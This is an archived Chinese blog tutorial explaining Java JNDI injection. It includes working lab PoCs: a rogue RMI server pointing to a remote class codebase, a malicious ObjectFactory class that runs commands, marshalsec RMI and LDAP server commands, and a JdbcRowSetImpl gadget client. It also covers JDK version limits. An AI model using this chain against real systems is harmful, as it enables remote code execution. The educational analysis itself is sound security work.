JNDI注入原理及利用
编者注:本文为历史博文归档,涉及 JDK、框架与工具链版本请以当前官方文档为准。引用外链图片可能失效,阅读时请注意时效性。
前言
本篇主要讲述 RMI-JNDI 注入的利用原理,并分析其利用流程。内容包括:
- 使用
marshalsec反序列化工具搭建简单的 RMI/LDAP 服务端; - 将导致 JNDI 注入的漏洞代码扩展至
com.sun.rowset.JdbcRowSetImpl类,为后续分析 Fastjson 反序列化漏洞埋下引子; - 分析 Java 版本变化对 JNDI 注入的影响;
- 探讨 JDK 1.8u191 之后版本的利用思路(后续文章详述);
- 简要介绍 LDAP-JNDI 注入。
JNDI 简介
Java 命名和目录接口(Java Naming and Directory Interface,JNDI)是一种 Java API,类似于一个索引中心。它允许客户端通过名称(Name)发现和查找数据与对象。
其典型应用场景包括动态加载数据库配置文件,从而保持数据库代码无需变动等。基本代码格式如下:
String jndiName = ...; // 指定需要查找的 name 名称
Context context = new InitialContext(); // 初始化默认环境
DataSource ds = (DataSource) context.lookup(jndiName); // 查找该 name 对应的数据这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI)、通用对象请求代理体系结构(CORBA)、轻型目录访问协议(LDAP)或域名服务(DNS)。本篇将着重讲解 RMI,同时提及 LDAP。
RMI 调用格式示例:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource) var1.lookup("rmi://127.0.0.1:1099/Exploit");JNDI 注入原理
所谓的 JNDI 注入,就是当上述代码中的 jndiName 变量可控时引发的漏洞。它将导致远程 Class 文件加载,进而导致远程代码执行(RCE)。
下面通过一个利用 RMI 的 POC 来演示,并分析其调用流程(POC 来源网络)。
POC 验证
1. 客户端代码(受害者)
Client.java
package jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}2. 服务端代码(攻击者部署)
Server.java
package jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}
}3. 恶意类代码(攻击者部署)
ExecTest.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
public class ExecTest {
public ExecTest() throws IOException, InterruptedException {
String cmd = "whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());
printMessage(process.getErrorStream());
int value = process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
new Thread(new Runnable() {
@Override
public void run() {
Reader reader = new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line = bf.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
}4. 编译与部署
- 编译恶意类:
javac ExecTest.java - 部署 Web 服务:
py -3 -m http.server 8081 - 运行
Server.java - 运行
Client.java

注意:
- 把
ExecTest.java及其编译的文件放到其他目录下,否则会在当前目录中直接找到这个类。即使不起 Web 服务,命令执行也可能成功。ExecTest.java文件不能声明包名(即package xxx)。声明后编译的 class 文件函数名称会加上包名,从而导致不匹配。- 此利用适用于 Java 版本小于 1.8u191。之后版本存在
trustCodebaseURL的限制,只信任已有的 codebase 地址,不再能够从指定 codebase 中下载字节码。

调用流程分析
整体调用栈如下:

InitialContext.java
public Object lookup(String name) throws NamingException {
// getURLOrDefaultInitCtx 函数会分析 name 的协议头返回对应协议的环境对象,
// 此处返回 Context 对象的子类 rmiURLContext 对象
// 然后在对应协议中去 lookup 搜索,我们进入 lookup 函数
return getURLOrDefaultInitCtx(name).lookup(name);
}GenericURLContext.java
// var1="rmi://127.0.0.1:1099/aa"
public Object lookup(String var1) throws NamingException {
// 此处 this 为 rmiURLContext 类,调用对应类的 getRootURLContext 类为解析 RMI 地址
// 不同协议调用这个函数,根据之前 getURLOrDefaultInitCtx(name) 返回对象的类型不同,
// 执行不同的 getRootURLContext,进入不同的协议路线
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv); // 获取 RMI 注册中心相关数据
Context var3 = (Context) var2.getResolvedObj(); // 获取注册中心对象
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName()); // 去注册中心调用 lookup 查找,我们进入此处,传入 name-aa
} finally {
var3.close();
}
return var4;
}
RegistryContext.java
// 传入 var1=aa
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else { // 判断来到这里
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0)); // RMI 客户端与注册中心通讯,返回 RMI 服务 IP,地址等信息
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException) wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1)); // 我们进入此处
}
}
RegistryContext.java (decodeObject)
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
// 注意到上面的服务端代码,我们在 RMI 服务端绑定的是一个 Reference 对象,逻辑在此处发生分支
// 如果是 Reference 对象,会进入 var.getReference(),与 RMI 服务器进行一次连接,获取到远程 class 文件地址。
// 如果是普通 RMI 对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接 RMI 服务。
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference) var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
// 获取 reference 对象进入此处
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException) wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

NamingManager.java
截取部分关键代码:
// 传入 Reference 对象到 refInfo
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
// Use builder if installed
...
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) { // 满足
ref = (Reference) refInfo; // 复制
} else if (refInfo instanceof Referenceable) { // 不进入
ref = ((Referenceable) (refInfo)).getReference();
}
Object answer;
if (ref != null) { // 进入此处
String f = ref.getFactoryClassName(); // 函数名 ExecTest
if (f != null) {
// 任意命令执行点 1(构造函数、静态代码),进入此处
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
// 任意命令执行点 2(覆写 getObjectInstance),
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// ...
}getObjectFactoryFromReference
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// 尝试从本地获取该 class
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// 如果不在本地 classpath,从 codebase 中获取 class
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
// 此处 codebase 是我们在恶意 RMI 服务端中定义的 http://127.0.0.1:8081/
try {
// 从我们放置恶意 class 文件的 web 服务器中获取 class 文件
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
// 实例化我们的恶意 class 文件
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}实例化会默认调用构造方法、静态代码块。上面的例子就是调用了构造方法完成任意代码执行。
但是可以注意到之前执行任意命令成功,但是报错退出了。我们修改我们的恶意 class 文件,换一个命令执行点 factory.getObjectInstance 复写该函数执行命令。
- 报错是因为我们的类在实例化后不能转化为
ObjectFactory(ObjectFactory) clas.newInstance()。只需要我们的类继承该类即可。 - 根据
ObjectFactory.java的getObjectInstance接口复写函数:
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment)
throws Exception;最终第二版 ExecTest 如下:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}
此外,1.8 编译的 ExecTest.java 在 1.7 受害者环境中也可以运行,看来简单代码,版本差距不大应该没事。使用工具启动 RMI/LDAP 服务
以上我们成功复现了 JNDI 注入,但是在常规使用中我们自己起 RMI 服务器太麻烦了。我们可以使用 marshalsec 反序列化工具 起 RMI、LDAP 服务。
装有 Java 8,使用 mvn clean package -DskipTests 编译。
启动 RMI 服务器
# RMI 服务起在 8088,恶意 class 在 http://ip:8080/文件夹/#ExportObject
# 不加 8088 端口号,默认是 1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088启动 LDAP 服务器
# LDAP 服务起在 8088,恶意 class 在 http://ip:8080/文件夹/#ExportObject
# 不加 8088 端口号,默认是 1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088同时恶意 class 文件的 Web 服务还需要自己去起。
com.sun.rowset.JdbcRowSetImpl 利用链
回到我们之前的攻击目标服务端(也就是 RMI 服务客户端)。
目前我们利用 JNDI 注入需要满足 2 个条件:
我们需要服务端存在以下代码,且
uri可控:String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri);- 存在漏洞版本的 Java 环境(目前我们知道 1.8u191 是不可以的)。
我们先来扩展第一个代码限制的问题,这有点像在 Commons-Collections 反序列化一文中寻找 readObject 复写点一样,总是有很多机缘巧合。
com.sun.rowset.JdbcRowSetImpl 类:是在 Fastjson 反序列化漏洞中触发 JNDI 注入的一环,此处也算是一个引子,之后将详细分析 Fastjson 反序列化的原因。
JdbcRowSetImpl.java 部分代码:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect(); // 进入此处
this.conn.setAutoCommit(var1);
}
}protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) { // 我们需要一个我们可控的 getDataSourceName
try {
// 下面两句是完美的漏洞触发代码
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource) var1.lookup(this.getDataSourceName()); // 可控的 JNDI 注入点
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}最后需要 this.getDataSourceName() 的赋值处:
public void setDataSourceName(String var1) throws SQLException { // var1 可控
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
String var2 = this.getDataSourceName();
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1); // 赋值 setDataSourceName
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object) null, var1);
}
}所以客户端的 POC 如下(即受害者执行以下代码就可以触发漏洞):
package jndi;
import com.sun.rowset.JdbcRowSetImpl;
public class Client {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl(); // 只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}用工具来起 RMI 服务端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest然后用 Python 起 ExecTest.class 的 Web 服务(此处用的是上文的第二种 payload):
py -3 -m http.server 8090
至于该如何让 JdbcRowSetImpl_inc 执行在受害者机器上,那就是反序列化利用链一样地衍生了。这边只是衍生出第一步说明,JNDI 注入并不是一定要存在一个 Web 服务对外,一定要有一个 ctx.lookup(uri) 的 URL 参数可控,才能形成漏洞。
漏洞利用要考虑 Java 环境、组件,不要跟 SQL 注入一样认为都是定死的。具体就结合 Fastjson 再议了。
Java 版本限制与绕过
我们再回到第二个版本限制问题。
JNDI 注入由于其加载动态类原理是 JNDI Reference 远程加载 Object Factory 类的特性(使用的不是 RMI Class Loading,而是 URLClassLoader)。
所以不受 RMI 动态加载恶意类的 Java 版本应低于 7u21、6u45,或者需要设置 java.rmi.server.useCodebaseOnly=false 系统属性 的限制,具有更多的利用空间。
但是我们之前实验还是有版本无法复现,是因为在 JDK 6u132, JDK 7u122, JDK 8u113 版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为 false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。(这也是我们之前 1.8u191 失败的原因)
之前也提到 JNDI 注入远程对象读取不单单只可以从 RMI 服务中读取,还可以从 LDAP 服务中读取。
LDAP 服务的 Reference 远程加载 Factory 类 不受 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广。
不过在 2018 年 10 月,Java 最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制。
在 Oracle JDK 11.0.1、8u191、7u201、6u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false。

至于 1.8u191 之后怎么办,我们新起一篇来讲述;还是先来看一下可以绕过更多版本限制的 LDAP+JNDI 注入的利用方式。
LDAP 与 JNDI 注入
LDAP 简介
LDAP(Lightweight Directory Access Protocol)即轻量目录访问协议。其实也就是一个数据库,可以把它与 MySQL 对比!
具有以下特点:
- 基于 TCP/IP 协议。
- 同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作。
相对于 MySQL 的表型存储;不同的是 LDAP 使用 树型 存储。
- 因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。
树层次分为以下几层:
- dn:一条记录的详细位置,由以下几种属性组成。
- dc:一条记录所属区域(哪一个树,相当于 MySQL 的数据库)。
- ou:一条记录所处的分叉(哪一个分支,支持多个 ou,代表分支后的分支)。
- cn/uid:一条记录的名字/ID(树的叶节点的编号,想到与 MySQL 的表主键)。
举个例子,一条记录就是:dn="uid=songtao.xu,ou=oa,dc=example,dc=com"
POC 验证
其实利用方法是没差的,我们之前分析的时候也可以看到代码会根据传入协议头的区别去进入对应的处理函数,只需要修改传入参数的解析头,再启动 LDAP 服务,恶意 class 的 Web 服务即可。
我们重点关注版本问题,我们在 1.8u161 版本(RMI+JNDI 不行、LDAP+JNDI 可以的版本)下去使用 LDAP+JNDI 注入。
POC
package jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/aa";
// String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}服务端一样用工具起来,不赘述。


结果验证成功。
小结
分析一通,小结就是以后渗透测试要用 LDAP-JNDI 注入,命中率更高。
参考
- https://www.freebuf.com/vuls/115849.html
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
- RPC: https://www.jianshu.com/p/2accc2840a1b
- https://www.freebuf.com/column/189835.html
LDAP:
版权声明:本文为原创文章,版权归 戴老师的博客 所有,转载请联系博主获得授权。
本文地址:https://1diff.fun/archives/jndi-zhu-ru-yuan-li-ji-li-yong.html
如果对本文有什么问题或疑问都可以在评论区留言,我看到后会尽量解答。